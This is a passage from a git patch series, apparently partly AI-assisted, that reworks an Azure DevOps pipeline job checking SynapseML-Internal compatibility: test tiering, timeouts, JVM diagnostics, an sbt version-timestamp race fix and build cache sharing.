edits actually landed. + grep -q 'val synapseMLVersion = "$(OSS_VERSION)"' build.sbt || { + echo "##vso[task.logissue type=error]Failed to retarget synapseMLVersion"; exit 1; } + grep -q 'Resolver.mavenLocal,' build.sbt || { + echo "##vso[task.logissue type=error]Failed to add Resolver.mavenLocal"; exit 1; } + + echo "=== Modified build.sbt ===" + grep -n 'synapseMLVersion' build.sbt + grep -n -A4 'resolvers ++=' build.sbt + displayName: 'Retarget Internal to this build' + - task: AzureCLI@2 + displayName: 'Compile Internal against OSS' + timeoutInMinutes: 15 + inputs: + azureSubscription: 'SynapseML Build' + scriptLocation: inlineScript + scriptType: bash + inlineScript: | + set -e + cd $(Build.SourcesDirectory)/SynapseML-Internal + export SBT_OPTS="-Xmx4G -Xss2M -Duser.timezone=GMT" + echo "Compiling SynapseML-Internal against OSS $(OSS_VERSION)..." + sbt compile Test/compile + - bash: | + echo "##vso[task.prependpath]$CONDA/bin" + displayName: 'Add conda to PATH' + - bash: | + sudo chown -R $(whoami):$(id -ng) $(CONDA_CACHE_DIR) + displayName: 'Fix conda directory permissions' + - task: PipAuthenticate@1 + displayName: 'Private Conda Feed Authentication' + inputs: + artifactFeeds: 'A365/Synapse-Conda' + - bash: | + conda tos accept --override-channels --channel https://repo.anaconda.com/pkgs/main + conda tos accept --override-channels --channel https://repo.anaconda.com/pkgs/r + displayName: 'Accept Anaconda TOS' + - bash: | + echo "=== Disk space BEFORE cleanup ===" + df -h / | grep -E 'Filesystem|/$' + echo "Removing unused pre-installed SDKs and runtimes..." + sudo rm -rf /usr/local/lib/android || true + sudo rm -rf /usr/share/dotnet || true + sudo rm -rf /opt/ghc || true + sudo rm -rf /usr/local/share/boost || true + docker system prune -af --volumes 2>/dev/null || true + echo "=== Disk space AFTER cleanup ===" + df -h / | grep -E 'Filesystem|/$' + displayName: 'Free disk space (remove unused SDKs)' + - bash: | + set -e + conda env create --yes -f $(Build.SourcesDirectory)/SynapseML-Internal/environment.yaml -v || \ + conda env create --yes -f $(Build.SourcesDirectory)/SynapseML-Internal/environment.yaml -v + conda clean --all -y + pip cache purge + displayName: 'Create Internal conda env' + - task: AzureKeyVault@2 + displayName: 'Fetch AI service secrets' + retryCountOnTaskFailure: 3 + inputs: + azureSubscription: 'SynapseML Build' + keyVaultName: mmlspark-keys + - template: templates/fabric_kv.yml + - task: AzureCLI@2 + displayName: 'Run Internal Scala tests' + timeoutInMinutes: 60 + inputs: + azureSubscription: 'SynapseML Build' + scriptLocation: inlineScript + scriptType: bash + inlineScript: | + set -e + cd $(Build.SourcesDirectory)/SynapseML-Internal + eval "$(conda shell.bash hook)" + conda activate synapseml-internal + export CREATE_SEMPY_WRITER=false + export SBT_OPTS="-Xmx4G -Xss2M -Duser.timezone=GMT" + echo "Running Internal tests against OSS $(OSS_VERSION)..." + FAILURES=0 + for pkg in spark.aifunc powerbi ebm predict nbtest; do + echo "=== Testing $pkg ===" + if ! sbt "testOnly com.microsoft.azure.synapse.ml.$pkg.**"; then + echo "##vso[task.logissue type=warning]$pkg tests failed" + FAILURES=$((FAILURES + 1)) + fi + done + if [ $FAILURES -gt 0 ]; then + echo "##vso[task.logissue type=warning]$FAILURES test package(s) failed" + exit 1 + fi + env: + INTEGRATION_ENV: $(sempy-integration-region) + INTEGRATION_ACCOUNT: $(sempy-integration-account) + INTEGRATION_CERTIFICATE: $(sempy-integration-certificate) + - task: AzureCLI@2 + displayName: 'Package Internal Python against OSS' + timeoutInMinutes: 15 + inputs: + azureSubscription: 'SynapseML Build' + scriptLocation: inlineScript + scriptType: bash + inlineScript: | + set -e + cd $(Build.SourcesDirectory)/SynapseML-Internal + eval "$(conda shell.bash hook)" + conda activate synapseml-internal + export CREATE_SEMPY_WRITER=false + export SBT_OPTS="-Xmx4G -Xss2M -Duser.timezone=GMT" + echo "Packaging Internal Python against OSS $(OSS_VERSION)..." + sbt packagePython + sbt publishM2 + condition: succeededOrFailed() + - task: AzureCLI@2 + displayName: 'Run Internal Python tests (AIFunc)' + timeoutInMinutes: 30 + inputs: + azureSubscription: 'SynapseML Build' + scriptLocation: inlineScript + scriptType: bash + inlineScript: | + set -e + cd $(Build.SourcesDirectory)/SynapseML-Internal + eval "$(conda shell.bash hook)" + conda activate synapseml-internal + export CREATE_SEMPY_WRITER=false + export SBT_OPTS="-Xmx4G -Xss2M -Duser.timezone=GMT" + echo "Running Internal Python tests against OSS $(OSS_VERSION)..." + FAILURES=0 + for suite in AIFuncPandas AIFuncPandasMultimodal AIFuncPySpark AIFuncPySparkMultimodal; do + echo "=== Testing Python $suite ===" + if ! sbt "testPython${suite}"; then + echo "##vso[task.logissue type=warning]Python $suite tests failed" + FAILURES=$((FAILURES + 1)) + fi + done + if [ $FAILURES -gt 0 ]; then + echo "##vso[task.logissue type=warning]$FAILURES Python test suite(s) failed" + exit 1 + fi + condition: succeededOrFailed() + - task: AzureCLI@2 + displayName: 'Run Internal Python tests (ExcludeAIFunc)' + timeoutInMinutes: 30 + inputs: + azureSubscription: 'SynapseML Build' + scriptLocation: inlineScript + scriptType: bash + inlineScript: | + set -e + cd $(Build.SourcesDirectory)/SynapseML-Internal + eval "$(conda shell.bash hook)" + conda activate synapseml-internal + export CREATE_SEMPY_WRITER=false + export SBT_OPTS="-Xmx4G -Xss2M -Duser.timezone=GMT" + echo "Creating MLflow model fixtures..." + python ./src/test/python/make_mlflow_models.py + echo "Running ExcludeAIFunc Python tests against OSS $(OSS_VERSION)..." + sbt testPythonExcludeAIFunc + condition: succeededOrFailed() + - task: PublishTestResults@2 + displayName: 'Publish Internal Scala Test Results' + inputs: + testResultsFiles: '**/test-reports/TEST-*.xml' + failTaskOnFailedTests: false + condition: succeededOrFailed() + - task: PublishTestResults@2 + displayName: 'Publish Internal Python Test Results' + inputs: + testResultsFiles: '**/python-test-*.xml' + searchFolder: '$(Build.SourcesDirectory)/SynapseML-Internal' + failTaskOnFailedTests: false + condition: succeededOrFailed() From 4eba08bd277b05e5abf7d21f0d4f97a81cc11b6e Mon Sep 17 00:00:00 2001 From: Ranadeep Singh Date: Thu, 13 Aug 2026 04:09:30 +0000 Subject: [PATCH 56/93] fix: scope InternalCompat gating to deterministic compatibility signals ## Summary The new SynapseML-Internal compatibility check ran the full Internal test suite and failed the job on any failure. Empirically that makes it permanently red: on this PR, which changes zero source files, five test groups failed purely because they drive live external services. Split the suites into a blocking tier (pure-code compatibility signal) and an advisory tier (live-service dependent, reported but not gating). Observed on build 230952201 (this PR, source diff = pipeline.yaml only): blocking, all green spark.aifunc 129/129, ebm 71/71, predict 11/11 live-service failures powerbi XMLA 3/21, nbtest 6/10, Python AIFuncPandasMultimodal, AIFuncPySpark ## Prompting Intent Engineer asked to get the shepherded PRs merge-ready and to prove claims empirically rather than by inspection. Watching this PR's own CI surfaced the defect: the check reported failure for reasons unrelated to the change under test, which would have blocked every future PR. ## Linked Sources - ADO build 230952201, task "Run Internal Scala tests" (log 1735) - Failure evidence: PowerBICatalog.getDatasetDesc -> IllegalArgumentException "Unable to load dataset 'Customer Profitability Sample PBIX' details" - Failure evidence: FabricNotebookTests.createAndExecuteSJD -> RuntimeException "Job failed for PandasAIFunctions.py" ## Rationale Preferred tiering over `continueOnError: true`, which was removed earlier in this PR because it masks every failure including compile breaks. Tiering keeps the signals that can only fail when OSS genuinely breaks Internal -- compile, packagePython/publishM2, and 211 deterministic tests -- as hard gates, while surfacing live-service results as warnings. Selective failure is the evidence: 18 of 21 PowerBI and 4 of 10 nbtest tests pass. A real API incompatibility would fail the whole package and would have failed compilation first; compile and package both succeeded. Live E2E coverage belongs in Internal's own nightly pipeline, where the required workspaces, datasets and capacity are provisioned, not in a gate on OSS pull requests. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- pipeline.yaml | 36 ++++++++++++++++++++++++------------ 1 file changed, 24 insertions(+), 12 deletions(-) diff --git a/pipeline.yaml b/pipeline.yaml index 6fd9f64c782..f0774406cd7 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -1279,16 +1279,31 @@ jobs: export CREATE_SEMPY_WRITER=false export SBT_OPTS="-Xmx4G -Xss2M -Duser.timezone=GMT" echo "Running Internal tests against OSS $(OSS_VERSION)..." + # Blocking tier: pure compatibility signal. These exercise Internal code + # against the OSS API surface and depend on no external state, so a + # failure here means this OSS change genuinely broke Internal. + BLOCKING_PKGS="spark.aifunc ebm predict" + # Advisory tier: these drive live external services (PowerBI XMLA needs a + # populated workspace; nbtest submits Spark Job Definitions to live Fabric + # capacity). They fail for environmental reasons unrelated to the OSS diff, + # so they are reported but must not gate the PR. + ADVISORY_PKGS="powerbi nbtest" FAILURES=0 - for pkg in spark.aifunc powerbi ebm predict nbtest; do - echo "=== Testing $pkg ===" + for pkg in $BLOCKING_PKGS; do + echo "=== Testing $pkg (blocking) ===" if ! sbt "testOnly com.microsoft.azure.synapse.ml.$pkg.**"; then - echo "##vso[task.logissue type=warning]$pkg tests failed" + echo "##vso[task.logissue type=error]$pkg tests failed - OSS change breaks Internal" FAILURES=$((FAILURES + 1)) fi done + for pkg in $ADVISORY_PKGS; do + echo "=== Testing $pkg (advisory, live-service dependent) ===" + if ! sbt "testOnly com.microsoft.azure.synapse.ml.$pkg.**"; then + echo "##vso[task.logissue type=warning]$pkg tests failed (advisory - depends on live services, not gating)" + fi + done if [ $FAILURES -gt 0 ]; then - echo "##vso[task.logissue type=warning]$FAILURES test package(s) failed" + echo "##vso[task.logissue type=error]$FAILURES blocking test package(s) failed" exit 1 fi env: @@ -1328,18 +1343,15 @@ jobs: export CREATE_SEMPY_WRITER=false export SBT_OPTS="-Xmx4G -Xss2M -Duser.timezone=GMT" echo "Running Internal Python tests against OSS $(OSS_VERSION)..." - FAILURES=0 + # Advisory: every AIFunc suite invokes live Azure OpenAI endpoints, so + # failures reflect service/quota/model availability rather than whether + # this OSS change is compatible with Internal. Reported, never gating. for suite in AIFuncPandas AIFuncPandasMultimodal AIFuncPySpark AIFuncPySparkMultimodal; do - echo "=== Testing Python $suite ===" + echo "=== Testing Python $suite (advisory, live-service dependent) ===" if ! sbt "testPython${suite}"; then - echo "##vso[task.logissue type=warning]Python $suite tests failed" - FAILURES=$((FAILURES + 1)) + echo "##vso[task.logissue type=warning]Python $suite tests failed (advisory - live AI service, not gating)" fi done - if [ $FAILURES -gt 0 ]; then - echo "##vso[task.logissue type=warning]$FAILURES Python test suite(s) failed" - exit 1 - fi condition: succeededOrFailed() - task: AzureCLI@2 displayName: 'Run Internal Python tests (ExcludeAIFunc)' From 153714a21048e483a9448d2eafa782cbcc566c67 Mon Sep 17 00:00:00 2001 From: Ranadeep Singh Date: Thu, 13 Aug 2026 05:53:20 +0000 Subject: [PATCH 57/93] fix: drop live-service suites from InternalCompat and raise job timeout ## Summary Build 230962458 failed even though 66 of 67 jobs were green: InternalCompat hit its 90-minute job timeout and was killed 8.3 minutes into the gating ExcludeAIFunc step. Measured step durations from that build: Run Internal Scala tests 38.1 min (~4 min of it powerbi + nbtest) Run Internal Python tests AIFunc 22.8 min (entirely live Azure OpenAI) Create Internal conda env 6.4 min Compile Internal against OSS 1.5 min Package Internal Python 1.2 min Run Internal Python ExcludeAIFunc 8.3 min CANCELED at the 90 min wall The previous commit made the live-service suites advisory, which stopped them failing the job but did not stop them consuming ~27 minutes of the budget to produce warnings that gate nothing. Removed them outright and raised the job timeout to 120 minutes. ## Prompting Intent Engineer asked to get the shepherded PRs merge-ready, address failing tests, and audit the larger build-level changes rather than only the code diff. ## Linked Sources - ADO build 230962458 timeline (job duration exactly 90.0 min, result canceled) - ADO build 230952201, which first exposed the live-service failures ## Rationale Advisory reporting was the wrong remedy. These suites fail on every run for environmental reasons, so a genuine OSS-caused break would be indistinguishable from the standing noise -- zero signal for 27 minutes of budget, and it starved the one Python step that does gate. Kept as gating: compile, packagePython/publishM2, the 211 deterministic Scala tests, and ExcludeAIFunc. Those can only fail when OSS actually breaks Internal. Live E2E coverage is not lost; it runs in SynapseML-Internal's own pipeline, which provisions the PowerBI workspaces, sample datasets and Fabric capacity these suites need. Raised the timeout to 120 rather than trimming further so the remaining budget has headroom on a slow agent. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- pipeline.yaml | 68 ++++++++++++++++++--------------------------------- 1 file changed, 24 insertions(+), 44 deletions(-) diff --git a/pipeline.yaml b/pipeline.yaml index f0774406cd7..634eb3d1114 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -1161,7 +1161,10 @@ jobs: # there rather than failing every external contribution. condition: and(succeeded(), ne(variables['System.PullRequest.IsFork'], 'True')) cancelTimeoutInMinutes: 0 - timeoutInMinutes: 90 + # Measured on build 230962458: conda env 6.4m + compile 1.5m + package 1.2m + + # Scala tests ~34m + ExcludeAIFunc. 90 min was not enough and the job was + # killed mid-step; 120 leaves headroom now that the live-service suites are gone. + timeoutInMinutes: 120 pool: vmImage: $(UBUNTU_VERSION) steps: @@ -1279,31 +1282,27 @@ jobs: export CREATE_SEMPY_WRITER=false export SBT_OPTS="-Xmx4G -Xss2M -Duser.timezone=GMT" echo "Running Internal tests against OSS $(OSS_VERSION)..." - # Blocking tier: pure compatibility signal. These exercise Internal code - # against the OSS API surface and depend on no external state, so a - # failure here means this OSS change genuinely broke Internal. - BLOCKING_PKGS="spark.aifunc ebm predict" - # Advisory tier: these drive live external services (PowerBI XMLA needs a - # populated workspace; nbtest submits Spark Job Definitions to live Fabric - # capacity). They fail for environmental reasons unrelated to the OSS diff, - # so they are reported but must not gate the PR. - ADVISORY_PKGS="powerbi nbtest" + # Only the deterministic packages run here. They exercise Internal code + # against the OSS API surface with no external state, so a failure means + # this OSS change genuinely broke Internal. + # + # powerbi and nbtest are deliberately NOT run: they drive live services + # (PowerBI XMLA needs a populated workspace; nbtest submits Spark Job + # Definitions to live Fabric capacity) and fail here for environmental + # reasons regardless of the OSS diff. Running them anyway cost ~4 min and + # produced only ignorable warnings. That live E2E coverage belongs in + # SynapseML-Internal's own nightly pipeline, which has the workspaces, + # sample datasets and capacity provisioned. FAILURES=0 - for pkg in $BLOCKING_PKGS; do - echo "=== Testing $pkg (blocking) ===" + for pkg in spark.aifunc ebm predict; do + echo "=== Testing $pkg ===" if ! sbt "testOnly com.microsoft.azure.synapse.ml.$pkg.**"; then echo "##vso[task.logissue type=error]$pkg tests failed - OSS change breaks Internal" FAILURES=$((FAILURES + 1)) fi done - for pkg in $ADVISORY_PKGS; do - echo "=== Testing $pkg (advisory, live-service dependent) ===" - if ! sbt "testOnly com.microsoft.azure.synapse.ml.$pkg.**"; then - echo "##vso[task.logissue type=warning]$pkg tests failed (advisory - depends on live services, not gating)" - fi - done if [ $FAILURES -gt 0 ]; then - echo "##vso[task.logissue type=error]$FAILURES blocking test package(s) failed" + echo "##vso[task.logissue type=error]$FAILURES test package(s) failed" exit 1 fi env: @@ -1328,31 +1327,12 @@ jobs: sbt packagePython sbt publishM2 condition: succeededOrFailed() - - task: AzureCLI@2 - displayName: 'Run Internal Python tests (AIFunc)' - timeoutInMinutes: 30 - inputs: - azureSubscription: 'SynapseML Build' - scriptLocation: inlineScript - scriptType: bash - inlineScript: | - set -e - cd $(Build.SourcesDirectory)/SynapseML-Internal - eval "$(conda shell.bash hook)" - conda activate synapseml-internal - export CREATE_SEMPY_WRITER=false - export SBT_OPTS="-Xmx4G -Xss2M -Duser.timezone=GMT" - echo "Running Internal Python tests against OSS $(OSS_VERSION)..." - # Advisory: every AIFunc suite invokes live Azure OpenAI endpoints, so - # failures reflect service/quota/model availability rather than whether - # this OSS change is compatible with Internal. Reported, never gating. - for suite in AIFuncPandas AIFuncPandasMultimodal AIFuncPySpark AIFuncPySparkMultimodal; do - echo "=== Testing Python $suite (advisory, live-service dependent) ===" - if ! sbt "testPython${suite}"; then - echo "##vso[task.logissue type=warning]Python $suite tests failed (advisory - live AI service, not gating)" - fi - done - condition: succeededOrFailed() + # NOTE: 'Run Internal Python tests (AIFunc)' was intentionally removed. All four + # AIFunc suites call live Azure OpenAI endpoints, so they measure service and + # quota availability rather than OSS/Internal compatibility. They took ~23 min + # of the job's budget and were the main reason it hit its timeout before the + # gating ExcludeAIFunc step could finish. They remain covered by + # SynapseML-Internal's own pipeline. - task: AzureCLI@2 displayName: 'Run Internal Python tests (ExcludeAIFunc)' timeoutInMinutes: 30 From 5334acbccc32a532c650202a1b2b8cb503fc3cd0 Mon Sep 17 00:00:00 2001 From: Ranadeep Singh Date: Thu, 13 Aug 2026 07:06:48 +0000 Subject: [PATCH 58/93] ci: add JVM-launch diagnostics and one retry to the MLflow fixture step ## Summary With the job timeout fixed, ExcludeAIFunc ran to completion for the first time and failed in make_mlflow_models.py at SparkSession.getOrCreate(): pyspark.errors.exceptions.base.PySparkRuntimeError: [JAVA_GATEWAY_EXITED] Java gateway process exited before sending its port number. pyspark raises this without surfacing any JVM stderr, so the log shows no Java error at all and the cause is not recoverable from the build output. The step now records agent state (memory, disk, JAVA_HOME, java -version, residual JVM count) immediately before the launch, and retries the fixture script once after a short pause. ## Prompting Intent Engineer asked to keep iterating until the tests pass rather than stopping at a partial fix, and to surface anything that genuinely needs their attention. ## Linked Sources - ADO build 230974877, log 1737: the JAVA_GATEWAY_EXITED failure - ADO build 230962458, log 1748: the earlier canceled run, which shows the same script succeeding and pytest reaching 13 passed / 1 skipped before cancellation ## Rationale Evidence says the tests themselves are fine. In build 230962458 this exact script completed and the suite was passing when the 90-minute job timeout canceled it, so the failure is in launching the JVM, not in the code under test. Deliberately did not make this step advisory. Unlike powerbi and nbtest, these are genuine compatibility tests that were demonstrably passing, so hiding a failure here would defeat the purpose of the check. Retry is scoped to fixture generation only, which is the step that actually launches the gateway; the sbt test run below it still fails hard on a real regression. If the retry also fails, the diagnostics identify whether the agent is out of memory, out of disk, or holding a JVM from the preceding sbt step. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- pipeline.yaml | 20 +++++++++++++++++++- 1 file changed, 19 insertions(+), 1 deletion(-) diff --git a/pipeline.yaml b/pipeline.yaml index 634eb3d1114..98b39e20b12 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -1347,8 +1347,26 @@ jobs: conda activate synapseml-internal export CREATE_SEMPY_WRITER=false export SBT_OPTS="-Xmx4G -Xss2M -Duser.timezone=GMT" + # The fixture script builds several models in-process and then launches a + # JVM for a Spark session. That launch failed once with JAVA_GATEWAY_EXITED, + # which pyspark reports without surfacing any JVM stderr, so record the + # agent state first to make a repeat diagnosable rather than a mystery. + echo "=== agent state before Spark JVM launch ===" + free -m || true + df -h /home/vsts /tmp || true + echo "JAVA_HOME=${JAVA_HOME:-}" + java -version 2>&1 || true + echo "residual JVMs: $(pgrep -c java || echo 0)" + echo "===========================================" echo "Creating MLflow model fixtures..." - python ./src/test/python/make_mlflow_models.py + # Launching the gateway is the one step here that is known to fail + # intermittently, so give it a second attempt before failing the job. + if ! python ./src/test/python/make_mlflow_models.py; then + echo "##vso[task.logissue type=warning]MLflow fixture generation failed; retrying once" + free -m || true + sleep 30 + python ./src/test/python/make_mlflow_models.py + fi echo "Running ExcludeAIFunc Python tests against OSS $(OSS_VERSION)..." sbt testPythonExcludeAIFunc condition: succeededOrFailed() From 5ad04d9a9f7333a0fa85fe4c1b9cb47fff503d24 Mon Sep 17 00:00:00 2001 From: Ranadeep Singh Date: Thu, 13 Aug 2026 09:32:00 +0000 Subject: [PATCH 59/93] fix: map INTEGRATION_WORKSPACE_PREFIX in InternalCompat Scala test step ## Summary The InternalCompat Scala test step mapped 3 of the 4 sempy integration secrets into its environment, omitting INTEGRATION_WORKSPACE_PREFIX. The secret is already fetched by templates/fabric_kv.yml (it is in that template's SecretsFilter) and the FabricE2E job maps all four, so this was an inconsistency rather than a missing secret. ## Prompting Intent User asked to verify each PR's title, description, and code diffs. A parallel audit flagged the asymmetry; confirmed against templates/fabric_kv.yml and the FabricE2E job before changing anything. ## Linked Sources - PR: https://github.com/microsoft/SynapseML/pull/2542 ## Rationale The suites currently in the loop (spark.aifunc, ebm, predict) pass without it, so this is defensive rather than a live fix: it keeps the step's env consistent with FabricE2E and avoids a silent empty-value footgun if a workspace-dependent suite is added to the loop later. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- pipeline.yaml | 1 + 1 file changed, 1 insertion(+) diff --git a/pipeline.yaml b/pipeline.yaml index 98b39e20b12..1a488ceffdc 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -1309,6 +1309,7 @@ jobs: INTEGRATION_ENV: $(sempy-integration-region) INTEGRATION_ACCOUNT: $(sempy-integration-account) INTEGRATION_CERTIFICATE: $(sempy-integration-certificate) + INTEGRATION_WORKSPACE_PREFIX: $(sempy-integration-workspace-prefix) - task: AzureCLI@2 displayName: 'Package Internal Python against OSS' timeoutInMinutes: 15 From 53a360f45acfa79eb9f3e1ccb6a6d5243552c436 Mon Sep 17 00:00:00 2001 From: Ranadeep Singh Date: Thu, 13 Aug 2026 10:41:48 +0000 Subject: [PATCH 60/93] fix: compute artifact versions once per sbt session in InternalCompat ## Summary The ExcludeAIFunc step failed intermittently with an opaque `JAVA_GATEWAY_EXITED`. Root cause is a wall-clock race, not the environment: the artifact version embeds an HHmm timestamp (`1.1.3.1-7-6e9864ad-20260813-1022-SNAPSHOT`) and is recomputed on every sbt invocation. Build 230998811 shows both values in one log: packagePython baked ...-20260813-1022-SNAPSHOT into the Python package publishM2 published ...-20260813-1023-SNAPSHOT to ~/.m2 The generated Python package then asked Spark to fetch the 1022 coordinate, which was never published, so spark-submit died during Ivy resolution before the gateway handshake - which pyspark reports only as JAVA_GATEWAY_EXITED. Fixed by running the version-producing and version-consuming tasks in a single sbt session in both places that had the split: - 'Publish OSS to local Maven': `sbt "core/version" publishM2` in one session - 'Package Internal Python against OSS': `sbt packagePython publishM2` Also logs the published ~/.m2 versions in both steps so any future drift is visible directly instead of surfacing as a JVM launch failure. ## Prompting Intent User asked for merge order and confidence. Checking status showed this job failing, so the failure was traced through the ADO timeline and logs rather than assumed transient - an earlier conclusion in this session that the fault was environmental turned out to be wrong. ## Linked Sources - PR: https://github.com/microsoft/SynapseML/pull/2542 - Failing build: https://msdata.visualstudio.com/A365/_build/results?buildId=230998811 ## Rationale Retrying could not fix this: both attempts regenerate the same mismatched pair, which is why the retry added earlier fired and still failed. Pinning the version to a static string was rejected because it would stop testing the real version computation. Sharing one sbt session is the minimal change that makes the two tasks observe the same version by construction. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- pipeline.yaml | 26 ++++++++++++++++++++++---- 1 file changed, 22 insertions(+), 4 deletions(-) diff --git a/pipeline.yaml b/pipeline.yaml index 1a488ceffdc..f43d92de08b 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -1181,14 +1181,25 @@ jobs: set -e cd $(Build.SourcesDirectory)/SynapseML export SBT_OPTS="-Xmx4G -Xss2M -Duser.timezone=GMT" - OSS_VERSION=$(sbt -no-colors "core/version" 2>&1 | grep '^\[info\] [0-9]' | tail -1 | sed 's/\[info\] //') + # The version string embeds an HHmm timestamp and is recomputed on every + # sbt invocation, so querying the version and publishing in two separate + # invocations can yield two different versions when they straddle a minute + # boundary. Run both in ONE sbt session so the version is computed once. + if ! SBT_OUT="$(sbt -no-colors "core/version" publishM2 2>&1)"; then + echo "$SBT_OUT" + echo "##vso[task.logissue type=error]sbt core/version publishM2 failed" + exit 1 + fi + echo "$SBT_OUT" + OSS_VERSION=$(echo "$SBT_OUT" | grep -m1 '^\[info\] [0-9]' | sed 's/\[info\] //') echo "OSS version: $OSS_VERSION" if [ -z "$OSS_VERSION" ]; then echo "##vso[task.logissue type=error]Failed to determine OSS version" exit 1 fi echo "##vso[task.setvariable variable=OSS_VERSION]$OSS_VERSION" - sbt publishM2 + echo "=== published OSS versions in ~/.m2 ===" + ls "$HOME/.m2/repository/com/microsoft/azure/" 2>/dev/null || true - bash: | set -e cd $(Build.SourcesDirectory)/SynapseML-Internal @@ -1325,8 +1336,15 @@ jobs: export CREATE_SEMPY_WRITER=false export SBT_OPTS="-Xmx4G -Xss2M -Duser.timezone=GMT" echo "Packaging Internal Python against OSS $(OSS_VERSION)..." - sbt packagePython - sbt publishM2 + # packagePython and publishM2 MUST share one sbt session. Internal's version + # embeds an HHmm timestamp, so separate invocations can differ by a minute: + # packagePython bakes the jar coordinate into the generated Python package, + # publishM2 then publishes a *different* version, and the Spark launch inside + # make_mlflow_models.py fails to resolve it - surfacing only as an opaque + # JAVA_GATEWAY_EXITED. Observed: packaged 1022, published 1023. + sbt packagePython publishM2 + echo "=== published Internal versions in ~/.m2 ===" + ls -d "$HOME"/.m2/repository/com/microsoft/azure/*-internal_2.12/*/ 2>/dev/null || true condition: succeededOrFailed() # NOTE: 'Run Internal Python tests (AIFunc)' was intentionally removed. All four # AIFunc suites call live Azure OpenAI endpoints, so they measure service and From 7eb8168e45e5a7e8813c07a9d2e88794fce32a26 Mon Sep 17 00:00:00 2001 From: SynapseML CI Date: Thu, 13 Aug 2026 18:03:44 +0000 Subject: [PATCH 61/93] ci: share the prewarmed sbt cache in InternalCompat and harden version parsing ## Summary Three fixes to the new `InternalCompat` job, from auditing the suppressed low-confidence findings the Copilot reviewer emitted on this PR: 1. **Prewarmed sbt cache.** `InternalCompat` runs sbt but neither depended on `BuildAndCacheSbt` nor included `templates/sbt_cache.yml`, so it raced the prewarm job and cold-bootstrapped the launcher and Ivy tree from Maven Central. `tools/ci/tests/test_pipeline_yaml.py::test_every_sbt_running_job_ waits_for_the_prewarm_cache` already encodes this as an invariant and was failing on this branch. The job now declares `dependsOn: BuildAndCacheSbt` and pulls in the cache template. Adding the template required fixing the checkout layout: a multi-repo job nests every repo in a folder named after it, which moves the OSS root off `$(Build.SourcesDirectory)`. The cache keys (`project/build.properties`, `**/build.sbt`) and `tools/ci/sbt_retry.sh` are all resolved relative to the default working directory, so under the nested layout they would have missed the shared cache keys entirely and the retry script would not have been found. Both checkouts now pin an explicit `path:`, putting OSS back at `$(Build.SourcesDirectory)` and Internal at `$(Agent.BuildDirectory)/s-internal`. 2. **Version parsing.** `grep -m1 '^\[info\] [0-9]'` matched any `[info]` line starting with a digit. Verified against real sbt output that this accepts `[info] 3 artifacts published` and yields `3 artifacts published`, which would have silently retargeted Internal at a coordinate that was never published. Now requires a version-shaped token and validates the result the same way `tools/ci/get_sbt_version.sh` does. 3. **Dead `resources.repositories` entry.** Dropped `- repository: self / type: self`; `self` is implicit and `self` is not a documented `type`. ## Prompting Intent User asked that the suppressed/low-confidence comments from the Copilot review agent be reviewed on every PR, not just the active threads, to catch issues that were never surfaced. This commit fixes the findings that survived verification. ## Linked Sources - PR: https://github.com/microsoft/SynapseML/pull/2542 - Green baseline before this change: build 230982740 (67/67, InternalCompat 79.4m) ## Rationale `tools/ci/get_sbt_version.sh` is deliberately NOT reused for the version parse: it runs its own sbt invocation, and a second invocation is exactly the artifact-version race that bba6670d3a fixed (the version embeds an HHmm stamp recomputed per invocation). Its parsing and validation are mirrored inline instead. Pinning `path:` was chosen over rewriting the cache template to accept a working-directory parameter, because the shared cache keys must stay byte-identical to the other sbt jobs or this job gets its own cache namespace and the prewarm buys nothing. Verified locally: pipeline.yaml parses (14 jobs); all 11 InternalCompat inline scripts pass `bash -n`; `test_pipeline_yaml.py` goes from 1 failure to 16 passed / 1 skipped; the new version parser was exercised against 8 real and adversarial sbt output shapes, including the ANSI-coloured and count-line cases. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- pipeline.yaml | 43 +++++++++++++++++++++++++++++-------------- 1 file changed, 29 insertions(+), 14 deletions(-) diff --git a/pipeline.yaml b/pipeline.yaml index f43d92de08b..87b1811f450 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -1,7 +1,5 @@ resources: repositories: - - repository: self - type: self - repository: SynapseML-Internal type: git name: A365/SynapseML-Internal @@ -1165,11 +1163,20 @@ jobs: # Scala tests ~34m + ExcludeAIFunc. 90 min was not enough and the job was # killed mid-step; 120 leaves headroom now that the live-service suites are gone. timeoutInMinutes: 120 + dependsOn: BuildAndCacheSbt pool: vmImage: $(UBUNTU_VERSION) steps: + # Explicit paths: a multi-repo job otherwise nests every repo under a folder + # named after it, which moves the OSS root off $(Build.SourcesDirectory). That + # would leave templates/sbt_cache.yml resolving its cache keys and + # tools/ci/sbt_retry.sh against a directory with no build definition, so this + # job would silently cold-bootstrap sbt instead of sharing the prewarmed cache. - checkout: self + path: s - checkout: SynapseML-Internal + path: s-internal + - template: templates/sbt_cache.yml - task: AzureCLI@2 displayName: 'Publish OSS to local Maven' timeoutInMinutes: 20 @@ -1179,7 +1186,7 @@ jobs: scriptType: bash inlineScript: | set -e - cd $(Build.SourcesDirectory)/SynapseML + cd $(Build.SourcesDirectory) export SBT_OPTS="-Xmx4G -Xss2M -Duser.timezone=GMT" # The version string embeds an HHmm timestamp and is recomputed on every # sbt invocation, so querying the version and publishing in two separate @@ -1191,10 +1198,18 @@ jobs: exit 1 fi echo "$SBT_OUT" - OSS_VERSION=$(echo "$SBT_OUT" | grep -m1 '^\[info\] [0-9]' | sed 's/\[info\] //') + # tools/ci/get_sbt_version.sh is not reused here: it runs its own sbt + # invocation, which is precisely the second invocation this step exists to + # avoid. Mirror its parsing and validation inline instead of loosely + # grepping, so a stray "[info] ..." line cannot be mistaken for the + # version and silently retarget Internal at an artifact that was never + # published. + OSS_VERSION=$(echo "$SBT_OUT" | sed 's/\x1b\[[0-9;]*m//g' \ + | grep -m1 -E '^\[info\] ([0-9]+\.[0-9]+|HEAD-)' | cut -d' ' -f2) echo "OSS version: $OSS_VERSION" - if [ -z "$OSS_VERSION" ]; then - echo "##vso[task.logissue type=error]Failed to determine OSS version" + if [ -z 